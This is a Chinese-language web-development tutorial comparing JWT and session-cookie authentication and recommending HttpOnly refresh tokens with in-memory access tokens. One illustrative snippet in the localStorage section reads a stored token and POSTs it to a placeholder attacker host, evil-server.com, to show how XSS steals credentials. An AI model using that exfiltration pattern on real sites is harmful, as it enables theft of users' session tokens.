Logo

新人日誌

首頁關於我部落格

新人日誌

Logo

網站會不定期發佈技術筆記、職場心得相關的內容,歡迎關注本站!

網站
首頁關於我部落格
部落格
分類系列文

© 新人日誌. All rights reserved. 2020-present.

本文為「Web 驗證入門」系列第 14 篇

搞懂 Access Token 與 Refresh Token:為什麼大公司都這樣做身份驗證

最後更新:2025年12月19日基礎概念

你有沒有想過,當你登入一個網站後,為什麼不用每點一個頁面就重新輸入帳號密碼?網站到底是怎麼「記住」你是誰的?

這篇文章會用最白話的方式,帶你搞懂兩種最常見的身份驗證方式:JWT 和 Session Cookie。更重要的是,我們會聊聊業界現在怎麼把這兩種方法「混搭」起來,做出既安全又好用的登入系統。

不管你是剛入門的新手,還是想優化現有系統的開發者,看完這篇你就會有清楚的概念了!

兩種主流的身份驗證方式

JWT 是什麼?

JWT(JSON Web Token)簡單說就是一張「通行證」。你登入成功後,伺服器會給你一張通行證(Token),之後你每次要進入會員專區,就出示這張通行證就好。

JWT 怎麼運作?

sequenceDiagram
    participant B as 瀏覽器
    participant S as 伺服器

    B->>S: 1. 登入(帳號、密碼)
    S->>B: 2. 給你 Token(放在回應 Body)
    Note over B: 3. 把 Token 存起來<br/>(通常放 Local Storage)
    B->>S: 4. 要資料囉!<br/>Header: Authorization: Bearer xxx
    S->>B: 5. OK,資料給你

實際的 HTTP 長什麼樣?

步驟 1:登入請求

POST /api/login HTTP/1.1
Host: example.com
Content-Type: application/json

{
  "username": "user@example.com",
  "password": "mypassword123"
}

步驟 2:伺服器回傳 Token(放在 Body)

HTTP/1.1 200 OK
Content-Type: application/json

{
  "token": "eyJhbGciOiJIUzI1NiIsInR5cCI6IkpXVCJ9.eyJ1c2VySWQiOjEyMywiZXhwIjoxNjk5OTk5OTk5fQ.abc123signature",
  "expiresIn": 3600
}

步驟 4:帶著 Token 打 API

GET /api/profile HTTP/1.1
Host: example.com
Authorization: Bearer eyJhbGciOiJIUzI1NiIsInR5cCI6IkpXVCJ9.eyJ1c2VySWQiOjEyMywiZXhwIjoxNjk5OTk5OTk5fQ.abc123signature

步驟 5:拿到資料

HTTP/1.1 200 OK
Content-Type: application/json

{
  "id": 123,
  "name": "小明",
  "email": "user@example.com"
}

JWT 的重點整理

  • Token 怎麼拿:伺服器直接放在回應的 Body 裡給你
  • Token 怎麼存:你自己決定,通常放 Local Storage
  • Token 怎麼用:放在 HTTP Header 的 Authorization: Bearer <token>
  • 伺服器要不要記東西:不用!Token 本身就包含所有資訊(這叫「無狀態」)

延伸閱讀:JWT 是什麼?運作原理完整解析

Session Cookie 是什麼?

Session Cookie 的概念比較像「會員卡」。你登入後,伺服器會在自己的系統裡記錄你的資訊,然後給你一張會員卡(Session ID)。之後你來消費,只要出示會員卡,伺服器就去查你是誰。

Session Cookie 怎麼運作?

sequenceDiagram
    participant B as 瀏覽器
    participant S as 伺服器
    participant DB as Session Store

    B->>S: 1. 登入(帳號、密碼)
    S->>DB: 2. 建立 Session 記錄
    S->>B: 3. 給你會員卡號<br/>Set-Cookie: sid=xxx
    Note over B: 4. 瀏覽器自動存起來
    B->>S: 5. 要資料囉!<br/>Cookie: sid=xxx(自動帶上)
    S->>DB: 6. 查一下這張卡是誰的
    S->>B: 7. OK,資料給你

實際的 HTTP 長什麼樣?

步驟 1:登入請求

POST /api/login HTTP/1.1
Host: example.com
Content-Type: application/json

{
  "username": "user@example.com",
  "password": "mypassword123"
}

步驟 3:伺服器回傳 Session ID(放在 Header 的 Set-Cookie)

HTTP/1.1 200 OK
Content-Type: application/json
Set-Cookie: sid=abc123xyz789; HttpOnly; Secure; SameSite=Strict; Max-Age=86400

{
  "message": "登入成功"
}

注意!Session ID 不是放在 Body,而是放在 Set-Cookie 這個 Header 裡

步驟 5:瀏覽器自動帶上 Cookie 打 API

GET /api/profile HTTP/1.1
Host: example.com
Cookie: sid=abc123xyz789

你不用寫任何程式碼,瀏覽器會自動把 Cookie 帶上去!

步驟 7:拿到資料

HTTP/1.1 200 OK
Content-Type: application/json

{
  "id": 123,
  "name": "小明",
  "email": "user@example.com"
}

Session Cookie 的重點整理

  • Session ID 怎麼拿:伺服器用 Set-Cookie 塞給你
  • Session ID 怎麼存:瀏覽器自動幫你存在 Cookie
  • Session ID 怎麼用:瀏覽器自動帶,你不用管
  • 伺服器要不要記東西:要!需要一個 Session Store(像 Redis)來存資料

延伸閱讀:Session 入門:為什麼不該把用戶資料直接存在 Cookie?

JWT Token 存哪裡才安全?

Local Storage 的問題

前面提到 Session ID 是透過 Set-Cookie 傳回來的,瀏覽器會自動幫你存好,你完全不用煩惱儲存的問題。

但 JWT 就不一樣了——Token 是放在 Response Body 裡,你得自己決定要存在哪裡。

大家最常的做法是存在 Local Storage。

什麼是 Local Storage?

Local Storage 是瀏覽器提供的一塊儲存空間,你可以把它想像成「瀏覽器裡的小硬碟」。它可以讓網站把一些資料存在使用者的電腦上,而且關掉瀏覽器再打開,資料還會在。

存資料的方式很簡單,就是「一個名稱對應一個值」,例如你可以存一筆叫 token 的資料,值是 abc123。

你可以打開瀏覽器的開發者工具(按 F12),到 Application → Local Storage 看看目前網站存了什麼東西。

用 JavaScript 存取 Local Storage 超簡單:

// 存 Token
localStorage.setItem('token', 'eyJhbGciOiJIUzI1NiIs...');

// 讀 Token
const token = localStorage.getItem('token');

聽起來很方便對吧?但這裡有個大問題:

JavaScript 能讀到 = 壞人也能讀到

想像一下,如果你的網站有 XSS 漏洞(就是有人能在你網站上執行他的程式碼),壞人只要寫幾行程式就能偷走你的 Token:

// 壞人的程式碼
const stolenToken = localStorage.getItem('token');
fetch('https://evil-server.com/steal', {
  method: 'POST',
  body: JSON.stringify({ token: stolenToken })
});
// Token 就這樣被偷走了...

這就是為什麼資安專家會說:不要把敏感資料存在 Local Storage!

HTTP-Only Cookie:比較安全的選擇

有沒有辦法讓 JavaScript 讀不到我們存的東西呢?

有!我們可以改用 Cookie 來存,而且加上 HttpOnly 這個設定。

先來認識 Cookie

Cookie 也是瀏覽器提供的一種儲存空間,跟 Local Storage 有點像,但有幾個重要的差異:

特性Local StorageCookie
怎麼存進去你用 JS 自己存可以由伺服器透過 Set-Cookie 幫你存
發請求時你要自己帶瀏覽器自動帶上
可以設定屬性沒什麼特別的有很多安全相關的屬性可以設
Local Storage你用 JS 自己存
Cookie可以由伺服器透過 Set-Cookie 幫你存
Local Storage你要自己帶
Cookie瀏覽器自動帶上
Local Storage沒什麼特別的
Cookie有很多安全相關的屬性可以設

還記得前面 Session Cookie 的例子嗎?伺服器回傳時用 Set-Cookie 把 Session ID 塞給瀏覽器,瀏覽器就自動存起來了。

什麼是 HTTP-Only?

HttpOnly 是 Cookie 的一個安全屬性。當 Cookie 被標記為 HttpOnly 時,JavaScript 完全無法存取它——只有瀏覽器在發送請求時才會自動帶上。

Set-Cookie: token=xxx; HttpOnly; Secure; SameSite=Strict

比一比

特性Local StorageHTTP-Only Cookie
JavaScript 能讀嗎?✅ 能❌ 不能
XSS 能偷嗎?✅ 能❌ 不能
發請求要自己帶嗎?要不用,瀏覽器自動帶
Local Storage✅ 能
HTTP-Only Cookie❌ 不能
Local Storage✅ 能
HTTP-Only Cookie❌ 不能
Local Storage要
HTTP-Only Cookie不用,瀏覽器自動帶

看起來 HTTP-Only Cookie 完勝啊!那我們把 JWT 存在 HTTP-Only Cookie 不就好了嗎?

事情沒那麼簡單…

兩難的困境

把 JWT 存在 Cookie 會怎樣?

既然 HTTP-Only Cookie 這麼安全,那我們請伺服器把 JWT 用 Set-Cookie 傳回來不就好了嗎?

sequenceDiagram
    participant B as 瀏覽器
    participant S as 伺服器

    B->>S: 1. 登入
    S->>B: 2. Set-Cookie: token=jwt_xxx (HttpOnly)
    Note over B: Token 安全地存在 Cookie 了!
    B->>S: 3. 要資料囉!<br/>Cookie: token=jwt_xxx(瀏覽器自動帶)
    Note over S: 等等...這是什麼?🤔

實際的 HTTP 長什麼樣?

步驟 2:伺服器把 JWT 放在 Set-Cookie 回傳

HTTP/1.1 200 OK
Content-Type: application/json
Set-Cookie: token=eyJhbGciOiJIUzI1NiIs...; HttpOnly; Secure

{
  "message": "登入成功"
}

步驟 3:瀏覽器自動帶上 Cookie 打 API

GET /api/profile HTTP/1.1
Host: example.com
Cookie: token=eyJhbGciOiJIUzI1NiIs...

問題來了!

看出問題了嗎?

回想一下前面 JWT 的標準做法,Token 應該要放在 Authorization 這個 Header:

GET /api/profile HTTP/1.1
Host: example.com
Authorization: Bearer eyJhbGciOiJIUzI1NiIs...

但現在瀏覽器自動帶的是 Cookie 這個 Header:

GET /api/profile HTTP/1.1
Host: example.com
Cookie: token=eyJhbGciOiJIUzI1NiIs...

伺服器看到會很困惑:「我收到的是 Cookie header,這到底是 JWT 還是 Session ID?我該怎麼處理?」

❌ 伺服器收到:Cookie: token=eyJhbGciOiJIUzI1NiIs...
✅ 伺服器期待:Authorization: Bearer eyJhbGciOiJIUzI1NiIs...

那用 JavaScript 改 Header 呢?

有人會想:「瀏覽器自動帶的 Header 不對,那我用 JavaScript 把 Cookie 裡的 JWT 讀出來,再手動放到 Authorization Header 不就好了?」

想法大概是這樣:

// 1. 從 Cookie 讀出 JWT
const jwt = getCookie('token'); 

// 2. 手動放到正確的 Header
fetch('/api/profile', {
  headers: {
    'Authorization': `Bearer ${jwt}`  // 放到正確的地方!
  }
});

聽起來很完美對吧?

問題是:要用 JS 讀,就不能用 HttpOnly

還記得我們為什麼要用 HTTP-Only Cookie 嗎?就是為了讓 JavaScript 讀不到,這樣壞人的 XSS 攻擊就偷不走。

但如果你要用 JavaScript 讀取 Cookie 再放到 Header,那你就不能設定 HttpOnly,不然 JavaScript 根本讀不到啊!

# 如果你要 JS 能讀,就只能這樣設定(沒有 HttpOnly)
Set-Cookie: token=eyJhbGciOiJIUzI1NiIs...; Secure

# 這樣 JS 就能讀了,但壞人的 JS 也能讀了... 💀

這就變成一個死循環

你想要…你需要…結果
安全(XSS 偷不走)設定 HttpOnlyJS 讀不到,沒辦法放到 Authorization Header
符合 JWT 標準JS 要能讀取不能設定 HttpOnly,XSS 可以偷走
你需要…設定 HttpOnly
結果JS 讀不到,沒辦法放到 Authorization Header
你需要…JS 要能讀取
結果不能設定 HttpOnly,XSS 可以偷走

怎麼選都有問題… 😫

業界的解法——雙 Token 機制

解決問題的核心思路

還記得前面的困境嗎?

  • JWT 放 Local Storage → 不安全,XSS 可以偷走
  • JWT 放 HttpOnly Cookie → 安全,但瀏覽器帶的是 Cookie Header,不符合 JWT 標準
  • 用 JS 讀 Cookie 再放到正確 Header → 那就不能用 HttpOnly,又不安全了

問題的根源是:我們想要「安全」和「符合標準」,但這兩件事好像互相衝突。

業界的洞察是:既然一個 Token 做不到,那就用兩個 Token,各自負責一件事!

設計思路

先用一個現實生活的例子來理解:

🎢 遊樂園的「年票」和「當日手環」

想像你買了遊樂園的年票:

說明年票當日手環
長什麼樣一張塑膠卡片戴在手上的手環
放哪裡收在皮夾裡,不會隨便拿出來戴在手上,隨時能出示
有效期一年當天
用途去櫃檯換當日手環玩設施時出示給工作人員看
年票一張塑膠卡片
當日手環戴在手上的手環
年票收在皮夾裡,不會隨便拿出來
當日手環戴在手上,隨時能出示
年票一年
當日手環當天
年票去櫃檯換當日手環
當日手環玩設施時出示給工作人員看

流程是這樣的:

  1. 你拿年票去櫃檯,換一個當日手環
  2. 接下來玩設施時,出示手環就好,不用一直掏年票
  3. 手環壞了或隔天再來?再拿年票去換一個新手環

為什麼要這樣設計?

  • 年票很重要(掉了要花錢補辦),所以收好不要一直拿出來 → 安全
  • 手環很方便(戴在手上隨時能出示),而且就算弄丟,最多損失一天 → 方便又損失有限

回到我們的問題,概念是一樣的:

長效憑證(像年票)短效憑證(像手環)
放哪裡收好,不讓人輕易拿到放在方便取用的地方
有效期長短
用途換取短效憑證實際去做事情
被偷的損失很嚴重(但很難偷)有限(反正快過期了)
長效憑證(像年票)收好,不讓人輕易拿到
短效憑證(像手環)放在方便取用的地方
長效憑證(像年票)長
短效憑證(像手環)短
長效憑證(像年票)換取短效憑證
短效憑證(像手環)實際去做事情
長效憑證(像年票)很嚴重(但很難偷)
短效憑證(像手環)有限(反正快過期了)

這就是雙 Token 機制的核心概念——用兩種不同特性的憑證來分工,兼顧安全與方便!

短效 Token 過期了怎麼辦?用長效憑證去換一個新的就好!

具體實作:Refresh Token + Access Token

上面的概念落實到實作,就是業界常用的 Refresh Token + Access Token 機制:

Token像什麼存哪裡效期用途
Refresh Token年票HTTP-Only Cookie長(7-30 天)換 Access Token
Access Token當日手環記憶體(JS 變數)短(5-60 分鐘)呼叫需要登入的 API
像什麼年票
存哪裡HTTP-Only Cookie
效期長(7-30 天)
用途換 Access Token
像什麼當日手環
存哪裡記憶體(JS 變數)
效期短(5-60 分鐘)
用途呼叫需要登入的 API

為什麼這樣能解決問題?

1️⃣ Refresh Token 放 HttpOnly Cookie

HttpOnly Cookie 的好處是 JavaScript 讀不到,所以 XSS 攻擊偷不走。

但你可能會問:「瀏覽器會自動用 Cookie Header 帶上去,不是說這樣不符合 JWT 標準嗎?」

沒錯,但這裡不符合 JWT 標準也沒關係!

因為 Refresh Token 的設計其實是借鏡 Session ID 的做法:

  • 存在 HttpOnly Cookie 裡
  • 瀏覽器自動帶上
  • 伺服器收到後去資料庫查驗

既然是借鏡 Session ID,那 Refresh Token 不一定要用 JWT 格式,用 UUID 之類的隨機字串也完全可以:

# 這兩種都可以當 Refresh Token
eyJhbGciOiJIUzI1NiIs...   ← JWT 格式
550e8400-e29b-41d4-a716...  ← UUID 格式

不管用什麼格式,反正伺服器都要去資料庫查「這個 Refresh Token 是不是有效的」,所以格式不重要。

我們會設計一個專門用來換 Token 的 API(例如 /api/refresh),這個 API 從一開始就設計成「從 Cookie 讀取 Refresh Token」。所以不會有「格式對不上」的問題,因為它本來就預期收到 Cookie。

簡單說,不同的 API 用不同的方式讀取憑證:

API從哪裡讀取憑證
/api/refresh(換 Token 專用)從 Cookie Header 拿 Refresh Token
/api/profile、/api/orders 等一般 API從 Authorization Header 拿 Access Token
從哪裡讀取憑證從 Cookie Header 拿 Refresh Token
從哪裡讀取憑證從 Authorization Header 拿 Access Token

各走各的路,互不干擾!

✅ 安全(XSS 偷不走)
✅ 不用煩惱 Header 格式問題(因為 /api/refresh 本來就設計成讀 Cookie)

2️⃣ Access Token 放在 Response Body,存在 JavaScript 變數裡

Access Token 是真正拿來打一般 API 的,所以它必須能放到 Authorization: Bearer Header。

怎麼做到?

  1. 前端呼叫 /api/refresh(瀏覽器自動帶上 Refresh Token Cookie)
  2. 伺服器驗證 Refresh Token 後,把 Access Token 放在 Response Body 回傳
  3. 前端用 JavaScript 接收,存在變數裡
  4. 之後打 API 時,手動把 Access Token 放到 Authorization Header
// 就是這麼簡單
let accessToken = null;

async function refreshToken() {
  const response = await fetch('/api/refresh', {
    credentials: 'include' // 瀏覽器會自動帶上 Refresh Token Cookie
  });
  const data = await response.json();
  accessToken = data.accessToken; // 存在變數裡
}

async function callAPI(url) {
  return fetch(url, {
    headers: {
      'Authorization': `Bearer ${accessToken}` // 手動放到正確的 Header
    }
  });
}

「存在變數裡」就是所謂的 In-Memory(存在記憶體)。

你可能會問:「JavaScript 能讀到,那 XSS 不是也能偷走嗎?」

沒錯,理論上可以。但有兩個因素降低了風險:

  1. 效期很短(通常 5-60 分鐘):就算被偷,壞人能用的時間也很有限
  2. 時機要對:攻擊者必須在 Token 還有效的時候,剛好執行惡意程式碼才能偷到

✅ 可以放到標準的 Authorization: Bearer Header
✅ 效期短,就算被偷損失也有限

3️⃣ 「存在記憶體」有什麼缺點?

優點缺點
可以手動放到正確的 Header重新整理頁面就沒了
XSS 比較難偷(要在對的時機)關掉分頁就沒了
缺點重新整理頁面就沒了
缺點關掉分頁就沒了

「重新整理就沒了」不是很麻煩嗎?

其實還好!因為 Refresh Token 還安全地躺在 Cookie 裡啊!

使用者重新整理頁面後:

  1. Access Token 消失了(因為變數被清空)
  2. 前端自動呼叫 /api/refresh API
  3. 瀏覽器自動帶上 Refresh Token Cookie
  4. 伺服器驗證後,回傳新的 Access Token
  5. 前端存到變數裡,繼續用

使用者完全沒感覺! ✨

4️⃣ 總結:兩者配合,魚與熊掌兼得

角色誰負責像什麼特性
換 TokenRefresh Token年票安全(HttpOnly),長效期
呼叫 APIAccess Token當日手環標準(Authorization Header),短效期
誰負責Refresh Token
像什麼年票
特性安全(HttpOnly),長效期
誰負責Access Token
像什麼當日手環
特性標準(Authorization Header),短效期

這就是為什麼這個機制這麼聰明——它把「安全」和「標準」的責任分開,讓兩種 Token 各司其職!🎉

完整流程是這樣的

sequenceDiagram
    participant B as 瀏覽器
    participant S as 伺服器
    participant DB as Token Store

    Note over B,DB: === 登入階段 ===
    B->>S: 1. 登入(帳號、密碼)
    S->>DB: 2. 記錄 Refresh Token
    S->>B: 3. Set-Cookie: refresh_token=xxx (HttpOnly)

    Note over B,DB: === 換 Token 階段 ===
    B->>S: 4. 我要換 Access Token!
    Note right of B: Cookie: refresh_token=xxx(自動帶)
    S->>DB: 5. 確認一下這個 Refresh Token
    S->>B: 6. OK! Access Token 給你(放在 Body)
    Note over B: 7. 把 Access Token 存在變數裡

    Note over B,DB: === 呼叫 API 階段 ===
    B->>S: 8. 要資料!
    Note right of B: Authorization: Bearer access_token
    S->>B: 9. 資料來囉!

實際的 HTTP 長什麼樣?

🔐 登入階段

步驟 1:送出登入請求

POST /api/login HTTP/1.1
Host: example.com
Content-Type: application/json

{
  "username": "user@example.com",
  "password": "mypassword123"
}

步驟 3:伺服器回傳 Refresh Token(放在 Set-Cookie,不是 Body!)

HTTP/1.1 200 OK
Content-Type: application/json
Set-Cookie: refresh_token=dGhpc2lzYXJlZnJlc2h0b2tlbg...; HttpOnly; Secure; SameSite=Strict; Max-Age=2592000; Path=/api/refresh

{
  "message": "登入成功"
}

Refresh Token 用 HttpOnly 保護起來,JavaScript 讀不到,安全!

🔄 換 Token 階段

步驟 4:請求換 Access Token(瀏覽器自動帶上 Refresh Token Cookie)

POST /api/refresh HTTP/1.1
Host: example.com
Cookie: refresh_token=dGhpc2lzYXJlZnJlc2h0b2tlbg...

你不用寫任何程式碼帶 Refresh Token,瀏覽器自動帶!

步驟 6:伺服器回傳 Access Token(放在 Body)

HTTP/1.1 200 OK
Content-Type: application/json

{
  "accessToken": "eyJhbGciOiJIUzI1NiIsInR5cCI6IkpXVCJ9.eyJ1c2VySWQiOjEyMywiZXhwIjoxNjk5OTk5OTk5fQ.abc123",
  "expiresIn": 900
}

Access Token 放在 Body,前端拿到後存在 JavaScript 變數裡

📦 打 API 階段

步驟 8:帶著 Access Token 打 API(手動放到 Authorization Header)

GET /api/profile HTTP/1.1
Host: example.com
Authorization: Bearer eyJhbGciOiJIUzI1NiIsInR5cCI6IkpXVCJ9.eyJ1c2VySWQiOjEyMywiZXhwIjoxNjk5OTk5OTk5fQ.abc123

這次是標準的 JWT 格式了!放在 Authorization: Bearer Header

步驟 9:拿到資料

HTTP/1.1 200 OK
Content-Type: application/json

{
  "id": 123,
  "name": "小明",
  "email": "user@example.com"
}

重點整理:兩種 Token 各司其職

說明Refresh TokenAccess Token
放哪裡Set-Cookie HeaderResponse Body
存哪裡瀏覽器 Cookie(自動)JavaScript 變數(手動)
怎麼帶瀏覽器自動帶 Cookie Header手動放 Authorization Header
安全性HttpOnly 保護,XSS 偷不走在記憶體,效期短
Refresh TokenSet-Cookie Header
Access TokenResponse Body
Refresh Token瀏覽器 Cookie(自動)
Access TokenJavaScript 變數(手動)
Refresh Token瀏覽器自動帶 Cookie Header
Access Token手動放 Authorization Header
Refresh TokenHttpOnly 保護,XSS 偷不走
Access Token在記憶體,效期短

為什麼要這麼麻煩?

你可能在想:「搞這麼複雜幹嘛?直接用 Session Cookie 不是很簡單嗎?」

好問題!讓我們來看看各自的問題。

Session Cookie 的痛點

痛點一:每次請求都要查資料庫

用 Session Cookie 時,每打一次 API 都要去 Session Store 確認身份:

sequenceDiagram
    participant B as 瀏覽器
    participant S as 伺服器
    participant DB as Session Store

    B->>S: 打 API 1
    S->>DB: 查 Session
    S->>B: 回應

    B->>S: 打 API 2
    S->>DB: 查 Session
    S->>B: 回應

    B->>S: 打 API 3
    S->>DB: 查 Session
    S->>B: 回應

    Note over DB: 我好累... 😰

使用者一多,Session Store 就爆炸了。

痛點二:擴展很麻煩

Session Store 是「中心化」的,所有伺服器都要連到同一個地方。要擴展只能把機器升級(垂直擴展),不能用很多小機器分擔(水平擴展)。

雙 Token 機制的好處

好處一:大幅減少資料庫查詢

sequenceDiagram
    participant B as 瀏覽器
    participant S as 伺服器
    participant DB as Token Store

    Note over B,DB: 每 15 分鐘才查一次
    B->>S: 換 Access Token
    S->>DB: 驗證 Refresh Token
    S->>B: 給 Access Token

    Note over B,S: 接下來 15 分鐘內<br/>都不用查資料庫!
    B->>S: 打 API(直接驗 JWT)
    S->>B: 回應
    B->>S: 打 API(直接驗 JWT)
    S->>B: 回應
    B->>S: 打 API(直接驗 JWT)
    S->>B: 回應

假設 Access Token 15 分鐘過期,使用者在這期間打了 100 次 API:

方式查資料庫次數
Session Cookie100 次
雙 Token 機制1 次
查資料庫次數100 次
查資料庫次數1 次

差了 100 倍!

好處二:可以水平擴展

Access Token(JWT)不需要查資料庫就能驗證,所以你可以開很多台伺服器,每台都能獨立處理請求。超適合微服務架構!

好處三:安全性也顧到了

  • Refresh Token 存在 HttpOnly Cookie → XSS 偷不走
  • Access Token 效期短 → 就算被偷,損失有限

什麼時候用什麼?

你的情況建議
個人部落格、小專案Session Cookie(簡單就好)
前後端分離的 SPA雙 Token 機制
大型電商、社群平台雙 Token 機制
傳統 PHP、Django 網站Session Cookie
微服務架構雙 Token 機制
建議Session Cookie(簡單就好)
建議雙 Token 機制
建議雙 Token 機制
建議Session Cookie
建議雙 Token 機制

實務上的眉角

Refresh Token 的安全設定

Set-Cookie: refresh_token=xxx; HttpOnly; Secure; SameSite=Strict; Max-Age=2592000; Path=/refresh-token
設定幹嘛用的
HttpOnlyJS 讀不到
Secure只在 HTTPS 傳送
SameSite=Strict防 CSRF 攻擊
Max-Age=259200030 天後過期
Path=/refresh-token只有特定路徑才帶
幹嘛用的JS 讀不到
幹嘛用的只在 HTTPS 傳送
幹嘛用的防 CSRF 攻擊
幹嘛用的30 天後過期
幹嘛用的只有特定路徑才帶

效期怎麼設?

Token建議效期為什麼
Access Token5-60 分鐘短一點比較安全
Refresh Token7-30 天太短使用者要一直登入很煩
建議效期5-60 分鐘
為什麼短一點比較安全
建議效期7-30 天
為什麼太短使用者要一直登入很煩

實際案例:

  • 銀行系統:Access Token 5 分鐘,Refresh Token 1 天
  • 一般網站:Access Token 30 分鐘,Refresh Token 14 天
  • 社群媒體:Access Token 1 小時,Refresh Token 30 天

登出怎麼做?

如果 Refresh Token 被偷了怎麼辦?把它作廢就好!

sequenceDiagram
    participant B as 瀏覽器
    participant S as 伺服器
    participant DB as Token Store

    B->>S: 我要登出!
    S->>DB: 把這個 Refresh Token 刪掉
    S->>B: 好,Cookie 也清掉了
    Note over B: 登出成功 👋

登出後會發生什麼?

  1. 這台裝置:馬上登出
  2. 其他裝置:Access Token 還能用,但最多撐到過期(例如 15 分鐘)
  3. 15 分鐘後:想換新 Token?不行,Refresh Token 已經被刪了,乖乖重新登入吧

前端怎麼寫?

class AuthService {
  constructor() {
    this.accessToken = null;
    this.expiresAt = null;
  }

  async login(username, password) {
    await fetch('/api/login', {
      method: 'POST',
      headers: { 'Content-Type': 'application/json' },
      body: JSON.stringify({ username, password }),
      credentials: 'include' // 重要!讓瀏覽器存 Cookie
    });

    // 登入後換 Access Token
    await this.refreshToken();
  }

  async refreshToken() {
    const response = await fetch('/api/refresh-token', {
      method: 'POST',
      credentials: 'include'
    });

    if (!response.ok) {
      throw new Error('登入過期,請重新登入');
    }

    const data = await response.json();
    this.accessToken = data.accessToken;
    this.expiresAt = Date.now() + data.expiresIn * 1000;
  }

  async getValidToken() {
    // 快過期了就先換新的
    if (!this.accessToken || Date.now() > this.expiresAt - 60000) {
      await this.refreshToken();
    }
    return this.accessToken;
  }

  async callAPI(url, options = {}) {
    const token = await this.getValidToken();

    return fetch(url, {
      ...options,
      headers: {
        ...options.headers,
        'Authorization': `Bearer ${token}`
      }
    });
  }

  async logout() {
    await fetch('/api/logout', {
      method: 'POST',
      credentials: 'include'
    });
    this.accessToken = null;
    this.expiresAt = null;
  }
}

// 用法
const auth = new AuthService();
await auth.login('user@example.com', 'password');
const userData = await auth.callAPI('/api/user/profile');

名詞小抄

名詞白話解釋
JWT一種通行證格式,自帶資訊,不用查資料庫就能驗證
Access Token短期通行證,拿來打 API 用的
Refresh Token長期憑證,拿來換新的 Access Token
Session伺服器記住你是誰的方式
Session ID會員卡號,伺服器用這個查你是誰
Cookie瀏覽器的小型儲存空間,會自動帶在請求裡
HttpOnlyCookie 的設定,讓 JS 讀不到
Stateless(無狀態)伺服器不用記東西
Stateful(有狀態)伺服器要記東西
XSS壞人在你網站上執行他的程式碼
CSRF壞人誘騙你的瀏覽器發送請求
In-Memory存在程式的變數裡,重新整理就沒了
Redis常用來存 Session 的快取資料庫
白話解釋一種通行證格式,自帶資訊,不用查資料庫就能驗證
白話解釋短期通行證,拿來打 API 用的
白話解釋長期憑證,拿來換新的 Access Token
白話解釋伺服器記住你是誰的方式
白話解釋會員卡號,伺服器用這個查你是誰
白話解釋瀏覽器的小型儲存空間,會自動帶在請求裡
白話解釋Cookie 的設定,讓 JS 讀不到
白話解釋伺服器不用記東西
白話解釋伺服器要記東西
白話解釋壞人在你網站上執行他的程式碼
白話解釋壞人誘騙你的瀏覽器發送請求
白話解釋存在程式的變數裡,重新整理就沒了
白話解釋常用來存 Session 的快取資料庫

總結

重點回顧

  1. JWT:不用查資料庫、好擴展,但存在 Local Storage 有風險
  2. Session Cookie:安全好用,但每次都要查資料庫、不好擴展
  3. 雙 Token 機制:結合兩者優點
  • Refresh Token 存 HttpOnly Cookie → 安全
  • Access Token 存記憶體 → 符合標準又不用一直查資料庫

怎麼選?

  • 新手 / 小專案 → Session Cookie,先學會基本的
  • 前後端分離 / 大專案 / 微服務 → 雙 Token 機制

想深入了解?

  • OAuth 2.0 規範
  • OpenID Connect
  • JWT.io(線上 JWT 解析工具)
  • OWASP 安全指南

希望這篇有幫助到你!如果有任何問題,歡迎留言討論 🙌

上一篇JWT 背後的規範:JOSE 是什麼?
下一篇OAuth 2.0 是什麼?第三方登入機制一次搞懂
目前還沒有留言,成為第一個留言的人吧!

發表留言

留言將在審核後顯示。

基礎概念

目錄

  • 兩種主流的身份驗證方式
  • JWT 是什麼?
  • Session Cookie 是什麼?
  • JWT Token 存哪裡才安全?
  • Local Storage 的問題
  • HTTP-Only Cookie:比較安全的選擇
  • 兩難的困境
  • 把 JWT 存在 Cookie 會怎樣?
  • 那用 JavaScript 改 Header 呢?
  • 業界的解法——雙 Token 機制
  • 解決問題的核心思路
  • 具體實作:Refresh Token + Access Token
  • 為什麼這樣能解決問題?
  • 為什麼要這麼麻煩?
  • Session Cookie 的痛點
  • 雙 Token 機制的好處
  • 什麼時候用什麼?
  • 實務上的眉角
  • Refresh Token 的安全設定
  • 效期怎麼設?
  • 登出怎麼做?
  • 前端怎麼寫?
  • 名詞小抄
  • 總結
  • 重點回顧
  • 怎麼選?
  • 想深入了解?